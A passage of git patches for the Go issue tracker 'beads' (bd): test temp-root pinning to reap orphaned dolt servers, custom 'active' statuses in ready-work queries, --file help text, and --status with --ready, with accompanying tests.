b/cmd/bd/doctor/fix/testmain_cgo_test.go index 03bc48e35..88fa31362 100644 --- a/cmd/bd/doctor/fix/testmain_cgo_test.go +++ b/cmd/bd/doctor/fix/testmain_cgo_test.go @@ -31,24 +31,24 @@ func testMainInner(m *testing.M) int { defer testutil.TerminateDoltContainer() } - // Suite-owned root for the orphan-server sweep below. Must never be a - // shared/global temp dir (see SweepOrphanedTestServers) — this one is - // unique to this test run and removed when it exits. - suiteTempRoot, tempRootErr := os.MkdirTemp("", "beads-fix-tests-*") - if tempRootErr != nil { - fmt.Fprintf(os.Stderr, "WARN: failed to create suite temp root: %v\n", tempRootErr) + // Pin t.TempDir() under a suite-owned root so the sweep below can reap + // AutoStart leftovers whose directory cleanup failed because the live + // child still holds the tree (gastownhall/beads#5631). Must never be a + // shared/global temp dir (see SweepOrphanedTestServers). + root, pinErr := testutil.PinSuiteTempRoot("beads-fix-tests-*") + if pinErr != nil { + fmt.Fprintf(os.Stderr, "FATAL: suite temp root: %v\n", pinErr) + return 1 } + suiteTempRoot = root + defer os.RemoveAll(root) code := m.Run() // Best-effort reap of any dolt sql-server left running under this // suite's own temp root (e.g. a SIGKILLed run) — see - // gastownhall/beads mybd-q6cz. - doltserver.SweepOrphanedTestServers(suiteTempRoot) - - if suiteTempRoot != "" { - os.RemoveAll(suiteTempRoot) - } + // gastownhall/beads mybd-q6cz / #5631. + doltserver.SweepOrphanedTestServers(root) os.Unsetenv("BEADS_DOLT_PORT") os.Unsetenv("BEADS_TEST_MODE") os.Unsetenv("BEADS_TEST_SERVER") diff --git a/cmd/bd/doctor/fix/testmain_nocgo_test.go b/cmd/bd/doctor/fix/testmain_nocgo_test.go new file mode 100644 index 000000000..db4e45f99 --- /dev/null +++ b/cmd/bd/doctor/fix/testmain_nocgo_test.go @@ -0,0 +1,33 @@ +//go:build !cgo + +package fix + +import ( + "fmt" + "os" + "testing" + + "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/testutil" +) + +// CGO_ENABLED=0 fix tests compile this TestMain instead of the cgo one. +// Without it, FixMissingMetadata AutoStart leaves detached sql-servers +// running after t.TempDir() cleanup (gastownhall/beads#5631). +func TestMain(m *testing.M) { + os.Exit(testMainInner(m)) +} + +func testMainInner(m *testing.M) int { + root, err := testutil.PinSuiteTempRoot("beads-fix-tests-*") + if err != nil { + fmt.Fprintf(os.Stderr, "FATAL: suite temp root: %v\n", err) + return 1 + } + suiteTempRoot = root + defer os.RemoveAll(root) + + code := m.Run() + doltserver.SweepOrphanedTestServers(root) + return code +} diff --git a/cmd/bd/doctor/suite_temp_test.go b/cmd/bd/doctor/suite_temp_test.go new file mode 100644 index 000000000..668a3a535 --- /dev/null +++ b/cmd/bd/doctor/suite_temp_test.go @@ -0,0 +1,39 @@ +package doctor + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +// suiteTempRoot is the TestMain-owned temp directory that t.TempDir must +// land under so SweepOrphanedTestServers can reap leaked sql-servers. +var suiteTempRoot string + +func TestTempDirLandsUnderSuiteSweepRoot(t *testing.T) { + if suiteTempRoot == "" { + t.Fatal("TestMain did not pin suiteTempRoot; leaked dolt sql-server processes cannot be swept") + } + tmp := t.TempDir() + if !pathUnderRoot(tmp, suiteTempRoot) { + t.Fatalf("t.TempDir() %q is not under suiteTempRoot %q", tmp, suiteTempRoot) + } +} + +func pathUnderRoot(dir, root string) bool { + dir = evalOrSelf(dir) + root = evalOrSelf(root) + if dir == root { + return true + } + sep := string(os.PathSeparator) + return strings.HasPrefix(dir, strings.TrimRight(root, sep)+sep) +} + +func evalOrSelf(p string) string { + if r, err := filepath.EvalSymlinks(p); err == nil { + return r + } + return p +} diff --git a/cmd/bd/doctor/testmain_nocgo_test.go b/cmd/bd/doctor/testmain_nocgo_test.go new file mode 100644 index 000000000..e626d7732 --- /dev/null +++ b/cmd/bd/doctor/testmain_nocgo_test.go @@ -0,0 +1,33 @@ +//go:build !cgo + +package doctor + +import ( + "fmt" + "os" + "testing" + + "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/testutil" +) + +// CGO_ENABLED=0 doctor tests compile this TestMain instead of the cgo e2e +// one. Without it, tests that AutoStart a detached dolt sql-server leave +// the process running after t.TempDir() cleanup (gastownhall/beads#5631). +func TestMain(m *testing.M) { + os.Exit(testMainInner(m)) +} + +func testMainInner(m *testing.M) int { + root, err := testutil.PinSuiteTempRoot("beads-doctor-tests-*") + if err != nil { + fmt.Fprintf(os.Stderr, "FATAL: suite temp root: %v\n", err) + return 1 + } + suiteTempRoot = root + defer os.RemoveAll(root) + + code := m.Run() + doltserver.SweepOrphanedTestServers(root) + return code +} diff --git a/internal/testutil/suite_temp.go b/internal/testutil/suite_temp.go new file mode 100644 index 000000000..dbe7250aa --- /dev/null +++ b/internal/testutil/suite_temp.go @@ -0,0 +1,28 @@ +package testutil + +import ( + "os" +) + +// PinSuiteTempRoot creates a suite-owned temp directory and points +// GOTMPDIR, TMPDIR, TMP, and TEMP at it so testing.T.TempDir (Go 1.24+ +// uses GOTMPDIR) and os.MkdirTemp land under a root +// SweepOrphanedTestServers can reap. +// +// Call from TestMain before m.Run(). The caller owns cleanup: sweep +// first, then RemoveAll the returned path. Never pass os.TempDir() as +// a sweep root — that would reap other suites' live servers +// (scripts/test.sh -p N). +func PinSuiteTempRoot(pattern string) (string, error) { + root, err := os.MkdirTemp("", pattern) + if err != nil { + return "", err + } + for _, key := range []string{"GOTMPDIR", "TMPDIR", "TMP", "TEMP"} { + if err := os.Setenv(key, root); err != nil { + _ = os.RemoveAll(root) + return "", err + } + } + return root, nil +} diff --git a/internal/testutil/suite_temp_test.go b/internal/testutil/suite_temp_test.go new file mode 100644 index 000000000..ba8301601 --- /dev/null +++ b/internal/testutil/suite_temp_test.go @@ -0,0 +1,55 @@ +package testutil + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func TestPinSuiteTempRootRedirectsMkdirTemp(t *testing.T) { + oldGOTMPDIR := os.Getenv("GOTMPDIR") + oldTMPDIR := os.Getenv("TMPDIR") + oldTMP := os.Getenv("TMP") + oldTEMP := os.Getenv("TEMP") + t.Cleanup(func() { + _ = os.Setenv("GOTMPDIR", oldGOTMPDIR) + _ = os.Setenv("TMPDIR", oldTMPDIR) + _ = os.Setenv("TMP", oldTMP) + _ = os.Setenv("TEMP", oldTEMP) + }) + + root, err := PinSuiteTempRoot("beads-pin-suite-*") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.RemoveAll(root) }) + + if os.Getenv("GOTMPDIR") != root { + t.Fatalf("GOTMPDIR=%q, want pinned root %q", os.Getenv("GOTMPDIR"), root) + } + child, err := os.MkdirTemp(os.Getenv("GOTMPDIR"), "child-*") + if err != nil { + t.Fatal(err) + } + if !isUnderRoot(child, root) { + t.Fatalf("GOTMPDIR MkdirTemp child %q is not under pinned root %q", child, root) + } +} + +func isUnderRoot(dir, root string) bool { + dir = resolve(dir) + root = resolve(root) + if dir == root { + return true + } + sep := string(os.PathSeparator) + return strings.HasPrefix(dir, strings.TrimRight(root, sep)+sep) +} + +func resolve(p string) string { + if r, err := filepath.EvalSymlinks(p); err == nil { + return r + } + return p +} From 66aa73bb992399a5feeeb900933784f00f027a2d Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Wed, 2 Sep 2026 18:11:45 -0700 Subject: [PATCH 030/624] fix(storage): include custom active-category statuses in bd ready (#5831) (#5918) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit bd ready pins WorkFilter.Status to StatusOpen. BuildReadyWorkWhere treated that pin as an exact match, so issues in a custom status with category active never appeared — even though bd statuses --help, the ready_issues view (migration 0025), and ClaimableSourceStatusesInTx all treat that category as ready-eligible. Widen the singular StatusOpen clause to the same predicate the view uses: status = ? OR status IN (SELECT name FROM custom_statuses WHERE category = 'active') Non-open singular statuses stay exact. Built-in open still matches. Custom wip/done/frozen/unspecified statuses stay out, matching claim's GH-3570 anti-steal set. Reported by Justin Clemens (@justin-candor). Addresses #5831 --- internal/storage/dolt/queries_test.go | 62 ++++++++++++++++++++ internal/storage/issueops/ready_work_test.go | 26 ++++++++ internal/storage/sqlbuild/ready.go | 10 +++- internal/storage/sqlbuild/sqlbuild_test.go | 16 ++++- 4 files changed, 112 insertions(+), 2 deletions(-) diff --git a/internal/storage/dolt/queries_test.go b/internal/storage/dolt/queries_test.go index 3a87635aa..cb668239c 100644 --- a/internal/storage/dolt/queries_test.go +++ b/internal/storage/dolt/queries_test.go @@ -174,6 +174,68 @@ func TestGetReadyWork_StatusFilter(t *testing.T) { } } +// TestGetReadyWork_CustomActiveCategory pins GH#5831: `bd ready` pins +// StatusOpen, and that pin is the active category — built-in open plus any +// custom status whose category is active. WIP/done/frozen/unspecified +// customs stay out; in_progress stays out. +func TestGetReadyWork_CustomActiveCategory(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + + ctx, cancel := testContext(t) + defer cancel() + + if err := store.SetConfig(ctx, "status.custom", "triaged:active,polishing:wip,shipped:done,parked:frozen,legacy"); err != nil { + t.Fatalf("SetConfig status.custom: %v", err) + } + + mk := func(id string, status types.Status) { + t.Helper() + iss := &types.Issue{ + ID: id, + Title: id, + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + } + if err := store.CreateIssue(ctx, iss, "tester"); err != nil { + t.Fatalf("CreateIssue %s: %v", id, err) + } + if status != types.StatusOpen { + if err := store.UpdateIssue(ctx, id, map[string]interface{}{"status": string(status)}, "tester"); err != nil { + t.Fatalf("UpdateIssue %s -> %s: %v", id, status, err) + } + } + } + mk("rw-ca-open", types.StatusOpen) + mk("rw-ca-active", types.Status("triaged")) + mk("rw-ca-wip", types.Status("polishing")) + mk("rw-ca-done", types.Status("shipped")) + mk("rw-ca-frozen", types.Status("parked")) + mk("rw-ca-legacy", types.Status("legacy")) + mk("rw-ca-inprog", types.StatusInProgress) + + work, err := store.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + got := map[string]bool{} + for _, w := range work { + got[w.ID] = true + } + if !got["rw-ca-open"] { + t.Errorf("built-in open missing from ready set: %v", issueIDs(work)) + } + if !got["rw-ca-active"] { + t.Errorf("custom active-category status missing from ready set: %v", issueIDs(work)) + } + for _, id := range []string{"rw-ca-wip", "rw-ca-done", "rw-ca-frozen", "rw-ca-legacy", "rw-ca-inprog"} { + if got[id] { + t.Errorf("%s should not appear in the StatusOpen ready set: %v", id, issueIDs(work)) + } + } +} + func TestGetReadyWork_PriorityFilter(t *testing.T) { store, cleanup := setupTestStore(t) defer cleanup() diff --git a/internal/storage/issueops/ready_work_test.go b/internal/storage/issueops/ready_work_test.go index 3ae5393c0..552a359b1 100644 --- a/internal/storage/issueops/ready_work_test.go +++ b/internal/storage/issueops/ready_work_test.go @@ -244,6 +244,32 @@ func TestGetChildrenOfDeferredParentsInTx_IgnoresMissingWispDependenciesTable(t } } +func TestGetReadyWorkInTxOpenIncludesCustomActive(t *testing.T) { + t.Parallel() + + _, mock, tx := beginMockTx(t) + mock.ExpectQuery(deferredParentProbeRegex("issues")).WillReturnError(sql.ErrNoRows) + mock.ExpectQuery(deferredParentProbeRegex("wisps")).WillReturnError(sql.ErrNoRows) + mock.ExpectQuery(`SELECT id FROM issues\s+WHERE \(status = \? OR status IN \(SELECT name FROM custom_statuses WHERE category = 'active'\)\)`). + WillReturnRows(sqlmock.NewRows([]string{"id"})) + mock.ExpectQuery(`SELECT 1 FROM wisps LIMIT 1`).WillReturnError(sql.ErrNoRows) + + got, err := GetReadyWorkInTx( + context.Background(), + tx, + types.WorkFilter{Status: types.StatusOpen}, + ) + if err != nil { + t.Fatalf("GetReadyWorkInTx: %v", err) + } + if len(got) != 0 { + t.Fatalf("expected no rows, got %d", len(got)) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } +} + func TestGetReadyWorkInTxStatusesSingleQuery(t *testing.T) { t.Parallel() diff --git a/internal/storage/sqlbuild/ready.go b/internal/storage/sqlbuild/ready.go index eb0483b05..2b78693c8 100644 --- a/internal/storage/sqlbuild/ready.go +++ b/internal/storage/sqlbuild/ready.go @@ -95,7 +95,15 @@ func BuildReadyWorkWhere(filter types.WorkFilter, tables FilterTables, in ReadyW var args []any switch { case filter.Status != "": - statusClause = "status = ?" + // Singular StatusOpen is the `bd ready` pin and means the ready- + // eligible set: built-in open plus category-active custom statuses, + // matching the ready_issues view since migration 0025 (GH#5831). + // Any other singular status stays exact. + if filter.Status == types.StatusOpen { + statusClause = "(status = ? OR status IN (SELECT name FROM custom_statuses WHERE category = 'active'))" + } else { + statusClause = "status = ?" + } args = append(args, string(filter.Status)) case len(filter.Statuses) > 0: ph, statusArgs := InPlaceholders(filter.Statuses) diff --git a/internal/storage/sqlbuild/sqlbuild_test.go b/internal/storage/sqlbuild/sqlbuild_test.go index 0c6d2769a..dcd4bd2b9 100644 --- a/internal/storage/sqlbuild/sqlbuild_test.go +++ b/internal/storage/sqlbuild/sqlbuild_test.go @@ -421,10 +421,24 @@ func TestBuildReadyWorkWhereStatusFilter(t *testing.T) { { name: "SingularStatusWinsOverStatuses", filter: types.WorkFilter{Status: "open", Statuses: []types.Status{"blocked", "pinned"}}, - wantClause: "status = ?", + wantClause: "(status = ? OR status IN (SELECT name FROM custom_statuses WHERE category = 'active'))", rejectClause: "status IN (?", wantLeadingArgs: []any{"open"}, }, + { + name: "OpenIncludesCustomActiveCategory", + filter: types.WorkFilter{Status: types.StatusOpen}, + wantClause: "status IN (SELECT name FROM custom_statuses WHERE category = 'active')", + rejectClause: "status IN ('open', 'in_progress')", + wantLeadingArgs: []any{"open"}, + }, + { + name: "NonOpenSingularStatusStaysExact", + filter: types.WorkFilter{Status: types.StatusInProgress}, + wantClause: "status = ?", + rejectClause: "custom_statuses", + wantLeadingArgs: []any{"in_progress"}, + }, { name: "EmptyFilterLegacyDefault", filter: types.WorkFilter{}, From 67b066b58e1fa9bff3ea4ec8eeb6ec28d0e35c9f Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Wed, 2 Sep 2026 18:11:56 -0700 Subject: [PATCH 031/624] fix(create): say --file is one issue per ## heading (#5921) bd create --file/-f is a batch-import route: it creates one issue per H2 ("##") heading, and ### subsections attach fields to that issue. The old Usage was "Create multiple issues from markdown file", which never named those semantics or --body-file. Callers who wanted "one issue, description loaded from a file" reached for the shortest flag and got a silent bulk import instead -- reported by @seanmartinsmith with a 3-section briefing file (## Problem / ## Context / ## Acceptance Criteria) that became 3 issues instead of one. gatherCreateInput already rejects a positional title combined with --file. That is the reporter's literal repro, so this keeps the rejection and adds a --body-file hint on the error they actually see. The remaining trap -- --file used alone on a section-headed file -- is unchanged, because bd cannot tell that apart from a genuine batch file by content. Tests: parseMarkdownFile reproduces the trap file; gatherCreateInput locks in the title+--file rejection and --body-file hint; flag Usage names the per-heading behavior. The existing TestCreateFromMarkdownFile binary path already covers well-formed --file creates. --- cmd/bd/create.go | 2 +- cmd/bd/create_dispatch_test.go | 43 ++++++++++++++++++++++++++++++++++ cmd/bd/create_input.go | 2 +- cmd/bd/create_input_test.go | 30 ++++++++++++++++++++++++ cmd/bd/markdown_test.go | 32 +++++++++++++++++++++++++ 5 files changed, 107 insertions(+), 2 deletions(-) diff --git a/cmd/bd/create.go b/cmd/bd/create.go index f18870665..09ad2db99 100644 --- a/cmd/bd/create.go +++ b/cmd/bd/create.go @@ -895,7 +895,7 @@ func createDepsAcceptedTypeList() string { } func init() { - createCmd.Flags().StringP("file", "f", "", "Create multiple issues from markdown file") + createCmd.Flags().StringP("file", "f", "", "Create one issue per ## heading (### fields attach to that issue); for title plus description-from-file, use --body-file") createCmd.Flags().String("graph", "", "Create a graph of issues with dependencies from JSON plan file") createCmd.Flags().String("title", "", "Issue title (alternative to positional argument)") createCmd.Flags().Bool("silent", false, "Output only the issue ID (for scripting)") diff --git a/cmd/bd/create_dispatch_test.go b/cmd/bd/create_dispatch_test.go index 3f64487a2..0ee433a8a 100644 --- a/cmd/bd/create_dispatch_test.go +++ b/cmd/bd/create_dispatch_test.go @@ -171,3 +171,46 @@ func TestCreateSingleIssueAllowEmptyDescriptionRoundTrip(t *testing.T) { t.Fatalf("expected issue %q to be created via --allow-empty-description opt-in", title) } } + +// TestCreateFileDispatchRejectsPositionalTitle is a regression test for +// gastownhall/beads#4643: --file is a batch-import route, so a positional +// title has nowhere to go once createIssuesFromMarkdown takes over. This +// asserts gatherCreateInput's existing guard still rejects the combination +// before any issue is written, rather than silently discarding the title. +func TestCreateFileDispatchRejectsPositionalTitle(t *testing.T) { + saveAndRestoreGlobals(t) + ensureCleanGlobalState(t) + + readonlyMode = false + t.Cleanup(func() { readonlyMode = false }) + + fileFlag := createCmd.Flags().Lookup("file") + t.Cleanup(func() { + _ = fileFlag.Value.Set("") + fileFlag.Changed = false + }) + + tmpDir := t.TempDir() + mdPath := filepath.Join(tmpDir, "single.md") + if err := os.WriteFile(mdPath, []byte("## My Bead\n\nBody text.\n"), 0644); err != nil { + t.Fatalf("write markdown fixture: %v", err) + } + + if err := createCmd.Flags().Set("file", mdPath); err != nil { + t.Fatalf("set --file: %v", err) + } + + var err error + stderr := captureStderr(t, func() { + err = createCmd.RunE(createCmd, []string{"my new bead"}) + }) + if err == nil { + t.Fatal("expected --file dispatch with a positional title to be rejected") + } + if !strings.Contains(stderr, "cannot specify both title and --file flag") { + t.Fatalf("expected title/--file conflict message on stderr, got: %v (err: %v)", stderr, err) + } + if !strings.Contains(stderr, "--body-file") { + t.Fatalf("expected title/--file conflict to hint at --body-file, got: %v (err: %v)", stderr, err) + } +} diff --git a/cmd/bd/create_input.go b/cmd/bd/create_input.go index 7a51d7324..36279f721 100644 --- a/cmd/bd/create_input.go +++ b/cmd/bd/create_input.go @@ -95,7 +95,7 @@ func gatherCreateInput(cmd *cobra.Command, args []string) (createInput, error) { } if in.markdownFile != "" { if len(args) > 0 { - return in, HandleError("cannot specify both title and --file flag") + return in, HandleError("cannot specify both title and --file flag; for a single issue's description from a file, use --body-file") } if in.dryRun { return in, HandleError("--dry-run is not supported with --file flag") diff --git a/cmd/bd/create_input_test.go b/cmd/bd/create_input_test.go index 0574e8300..9fb796be1 100644 --- a/cmd/bd/create_input_test.go +++ b/cmd/bd/create_input_test.go @@ -40,6 +40,36 @@ func TestCreateCommandRegistersEmptyDescriptionOptIn(t *testing.T) { } } +func TestCreateFileFlagHelpDoesNotClaimSingleIssueGH4643(t *testing.T) { + f := createCmd.Flags().Lookup("file") + if f == nil { + t.Fatal("expected create to register --file") + } + if !strings.Contains(f.Usage, "one issue per") { + t.Fatalf("expected --file help text to name its per-heading batch behavior, got: %q", f.Usage) + } + if !strings.Contains(f.Usage, "--body-file") { + t.Fatalf("expected --file help text to point single-issue callers at --body-file, got: %q", f.Usage) + } +} + +func TestGatherCreateInputRejectsTitleWithFile(t *testing.T) { + cmd := newCreateFlagsCommand(t, "--file", "issues.md") + var err error + stderr := captureStderr(t, func() { + _, err = gatherCreateInput(cmd, []string{"Some title"}) + }) + if err == nil { + t.Fatal("expected gatherCreateInput to reject a positional title with --file") + } + if !strings.Contains(stderr, "cannot specify both title and --file flag") { + t.Fatalf("expected title/--file conflict on stderr, got stderr=%q err=%v", stderr, err) + } + if !strings.Contains(stderr, "--body-file") { + t.Fatalf("expected title/--file conflict to hint at --body-file, got stderr=%q err=%v", stderr, err) + } +} + func TestGatherCreateInputRejectsEmptyBodyFile(t *testing.T) { filePath := filepath.Join(t.TempDir(), "empty.md") if err := os.WriteFile(filePath, nil, 0644); err != nil { diff --git a/cmd/bd/markdown_test.go b/cmd/bd/markdown_test.go index 1dca3462e..e91ef89d7 100644 --- a/cmd/bd/markdown_test.go +++ b/cmd/bd/markdown_test.go @@ -154,6 +154,38 @@ Just a title and description. }, }, }, + { + name: "GH-4643 H2-per-section briefing file parses as three issues", + content: `## Problem +Something is broken. + +## Context +Extra background. + +## Acceptance Criteria +It should work. +`, + expected: []*IssueTemplate{ + { + Title: "Problem", + Description: "Something is broken.", + Priority: 2, + IssueType: "task", + }, + { + Title: "Context", + Description: "Extra background.", + Priority: 2, + IssueType: "task", + }, + { + Title: "Acceptance Criteria", + Description: "It should work.", + Priority: 2, + IssueType: "task", + }, + }, + }, } for _, tt := range tests { From f5a20fb66b6fd0893682eb9ed83d93320e0c809d Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Wed, 2 Sep 2026 18:12:07 -0700 Subject: [PATCH 032/624] fix(list): honor --status when combined with --ready (#5924) * fix(list): honor --status when combined with --ready (#5832) `bd list --status X --ready` silently dropped --status and returned the unfiltered ready set (typically open issues). BuildListFilter pinned StatusOpen whenever ReadyFlag was set, and ReadyFilterFromIssueFilter hard-coded the same pin, so a custom status or in_progress selector never reached GetReadyWork. --ready without --status still defaults to open. An explicit --status is now the ready-work status selector, matching how other list filters already compose with --ready. `--status all` remains the no-filter spelling and keeps the open default. * fix(list): status-aware --ready footer and honor-path contract docs (#5832) The query intersection from the prior commit is unchanged. Round-1 review asked the ReadyFlag/Statuses contract comments and the text footer to describe the honor path: default --ready is still open, an explicit --status is named instead of "excludes in_progress". --- .../audit_dependencies_readiness.go | 33 ++--- cmd/bd/list.go | 6 +- cmd/bd/list_footer_counts_test.go | 85 +++++++++++- cmd/bd/list_helpers_test.go | 4 +- cmd/bd/list_proxied_server.go | 6 +- cmd/bd/list_show_filter_modes.go | 12 +- cmd/bd/list_tree.go | 58 ++++++--- internal/workapi/list.go | 14 +- internal/workapi/list_pinned_test.go | 6 +- internal/workapi/list_ready_status_test.go | 123 ++++++++++++++++++ internal/workapi/ready.go | 4 +- internal/workapi/sort.go | 13 +- .../workapi/testdata/list_filter_golden.json | 4 +- issueops/reader.go | 7 +- issueops/reader_ready_scope.go | 17 ++- 15 files changed, 315 insertions(+), 77 deletions(-) create mode 100644 internal/workapi/list_ready_status_test.go diff --git a/backend/conformance/audit_dependencies_readiness.go b/backend/conformance/audit_dependencies_readiness.go index f4e322271..aefded74e 100644 --- a/backend/conformance/audit_dependencies_readiness.go +++ b/backend/conformance/audit_dependencies_readiness.go @@ -385,27 +385,28 @@ func testAuditReadyTypeAndPinnedExclusions(t *testing.T, f Factory) { // Statuses, the legacy open/in_progress default when both are empty, and a // custom (non-built-in) status flowing through the same IN clause. // -// THIS IS THE ONLY OBSERVER OF THE OR-SET ARM, AND IT COVERS EVERY SEAM THE ARM -// IS REACHABLE FROM. No role can ask for it — publicops.ReadyRequest carries no -// status field of any kind, which RunReadyCounterCountsOnlyTheOpenRowsItsListingLists -// says from the other side — and no in-tree caller sets it either. Every builder -// that renders a ready query sends the SINGULAR status: workapi.BuildReadyFilter -// and BuildReadyCountFilter send StatusOpen, and ReadyFilterFromIssueFilter sends -// StatusOpen while dropping IssueFilter.Statuses, which BuildListFilter has -// already resolved to open under --ready (issueops/reader_ready_scope.go states -// that override and why the projection has nothing to drop). What is left is the -// storage seam this file runs against, which backend.DoltStorage publishes to -// out-of-tree backends — so Statuses is a public filter field whose only reachable -// consumer class is exactly the one RunAll is the proof obligation for. +// THE OR-SET ARM IS REACHABLE FROM `bd list --status a,b --ready`. +// ReadyFilterFromIssueFilter copies IssueFilter.Statuses onto the ready-work +// filter instead of dropping it, and BuildListFilter no longer always +// resolves --ready to open: an explicit selector is the intersection +// (GH#5832; issueops/reader_ready_scope.go states the honor path). +// publicops.ReadyRequest still carries no status field of any kind, which +// RunReadyCounterCountsOnlyTheOpenRowsItsListingLists says from the other +// side, so `bd ready` — workapi.BuildReadyFilter and BuildReadyCountFilter — +// still send the SINGULAR StatusOpen. The list --ready path is the in-tree +// caller that sets Statuses. This file remains the storage-seam observer +// for the OR-set arm against backend.DoltStorage, which publishes the field +// to out-of-tree backends; RunAll is still the proof obligation for that +// seam. // // The unit-of-work provider's ready union renders this arm from the same shared // builder (sqlbuild.BuildReadyWorkWhere), applied to the wisps table as well as // issues where the classic stack projects the wisp plane onto a types.IssueFilter // instead. Its copy is deliberately unpinned rather than overlooked: that provider -// is not a storage.DoltStorage, so no external caller reaches it, and no in-tree -// caller sets Statuses at all. Promoting a status set onto ReadyRequest is what -// would make it reachable, and would move this case to reader_contract.go beside -// RunReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions, where all three +// is not a storage.DoltStorage, so no external caller reaches it. A status set on +// ReadyRequest would additionally make `bd ready` vote on this case, and would +// move it to reader_contract.go beside +// RunReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions, where the ready-role // wirings would vote on it. func testAuditReadyMultiStatusFilter(t *testing.T, f Factory) { s := f(t) diff --git a/cmd/bd/list.go b/cmd/bd/list.go index d1c105be8..0254c9274 100644 --- a/cmd/bd/list.go +++ b/cmd/bd/list.go @@ -240,7 +240,7 @@ func runListCore(cmd *cobra.Command, _ []string) error { } if in.watchMode { - if err := watchIssues(ctx, activeStore, filter, in.ReadyFlag, in.ParentID, in.SortBy, in.Reverse, in.effectiveLimit); err != nil { + if err := watchIssues(ctx, activeStore, filter, in.ReadyFlag, in.ParentID, in.SortBy, in.Reverse, in.effectiveLimit, in.Status); err != nil { if capErr := handleMaxRowsError(err); capErr != nil { return capErr } @@ -315,7 +315,7 @@ func runListCore(cmd *cobra.Command, _ []string) error { return HandleError("loading dependencies for --deps: %v", depErr) } // Hierarchical --parent walks use an unlimited per-level query, so the tree is never page-truncated. - displayPrettyListWithDepsMode(treeIssues, false, allDeps, in.depsMode, false, in.ReadyFlag) + displayPrettyListWithDepsMode(treeIssues, false, allDeps, in.depsMode, false, in.ReadyFlag, in.Status) printSkipLabelsFooter(in.SkipLabels) return nil } @@ -324,7 +324,7 @@ func runListCore(cmd *cobra.Command, _ []string) error { if depErr != nil && in.depsMode != "" { return HandleError("loading dependencies for --deps: %v", depErr) } - displayPrettyListWithDepsMode(issues, false, allDeps, in.depsMode, truncated, in.ReadyFlag) + displayPrettyListWithDepsMode(issues, false, allDeps, in.depsMode, truncated, in.ReadyFlag, in.Status) printTruncationHint(truncated, in.effectiveLimit) printSkipLabelsFooter(in.SkipLabels) return nil diff --git a/cmd/bd/list_footer_counts_test.go b/cmd/bd/list_footer_counts_test.go index af5707ff9..0e9fa765a 100644 --- a/cmd/bd/list_footer_counts_test.go +++ b/cmd/bd/list_footer_counts_test.go @@ -58,6 +58,7 @@ func TestListFooterLineCountsAreJustified(t *testing.T) { name string total, open, inProgress int truncated, readyFiltered bool + statusSelector string facts footerFacts }{ { @@ -90,11 +91,19 @@ func TestListFooterLineCountsAreJustified(t *testing.T) { total: 0, open: 0, inProgress: 0, facts: footerFacts{"total": 0, "open": 0, "in_progress": 0}, }, + { + // Explicit --status under --ready is a different pin. The footer + // names that selector and must not reuse the default-open sentence. + name: "ready-filtered, explicit in_progress", + total: 3, open: 0, inProgress: 3, readyFiltered: true, + statusSelector: "in_progress", + facts: footerFacts{"total": 3}, + }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - line := listFooterLine(tt.total, tt.open, tt.inProgress, tt.truncated, tt.readyFiltered) + line := listFooterLine(tt.total, tt.open, tt.inProgress, tt.truncated, tt.readyFiltered, tt.statusSelector) assertEveryNumberIsJustified(t, line, tt.facts) // The headline count always describes the rows actually rendered. @@ -110,7 +119,7 @@ func TestListFooterLineCountsAreJustified(t *testing.T) { // reader cannot distinguish "none exist" from "none survived the filter". func TestListFooterLineReadyOmitsVacuousInProgressCount(t *testing.T) { // 40 in-progress issues match the same query; --ready removed them all. - line := listFooterLine(6, 6, 0, false, true) + line := listFooterLine(6, 6, 0, false, true, "") if strings.Contains(line, "in progress)") { t.Errorf("--ready summary asserts an in-progress count that the filter forced to zero: %q", line) @@ -126,7 +135,7 @@ func TestListFooterLineReadyOmitsVacuousInProgressCount(t *testing.T) { // Without --ready the breakdown is a genuine finding and must survive: this is // the half of the behaviour the fix must not regress. func TestListFooterLineUnfilteredKeepsBreakdown(t *testing.T) { - line := listFooterLine(9, 6, 3, false, false) + line := listFooterLine(9, 6, 3, false, false, "") for _, want := range []string{"Total: 9 issues", "6 open", "3 in progress"} { if !strings.Contains(line, want) { t.Errorf("unfiltered summary lost %q, got: %q", want, line) @@ -157,7 +166,7 @@ func TestDisplayWatchedIssueListReadyFooterDisclosesFilter(t *testing.T) { // for; the footer is what is under test, and this keeps the file free of // the cgo-tagged stub so it still compiles under CGO_ENABLED=0. out := captureStdout(t, func() error { - displayWatchedIssueList(context.Background(), nil, issues, false, true) + displayWatchedIssueList(context.Background(), nil, issues, false, true, "") return nil }) @@ -177,7 +186,7 @@ func TestDisplayPrettyListWithDepsReadyFooterDisclosesFilter(t *testing.T) { } out := captureStdout(t, func() error { - displayPrettyListWithDeps(issues, false, nil, false, true) + displayPrettyListWithDeps(issues, false, nil, false, true, "") return nil }) if strings.Contains(out, "in progress)") { @@ -190,7 +199,7 @@ func TestDisplayPrettyListWithDepsReadyFooterDisclosesFilter(t *testing.T) { // The other half: without --ready the same wrapper must keep the breakdown, // so the fix cannot be "never print counts". plain := captureStdout(t, func() error { - displayPrettyListWithDeps(issues, false, nil, false, false) + displayPrettyListWithDeps(issues, false, nil, false, false, "") return nil }) if !strings.Contains(plain, "in progress)") { @@ -201,7 +210,7 @@ func TestDisplayPrettyListWithDepsReadyFooterDisclosesFilter(t *testing.T) { // Truncation and readiness are independent scopes and both must be disclosed // when both apply — neither may silently mask the other. func TestListFooterLineTruncationDisclosedAlongsideReady(t *testing.T) { - line := listFooterLine(5, 5, 0, true, true) + line := listFooterLine(5, 5, 0, true, true, "") if !strings.Contains(line, "truncated by --limit") { t.Errorf("truncated page must say so even under --ready, 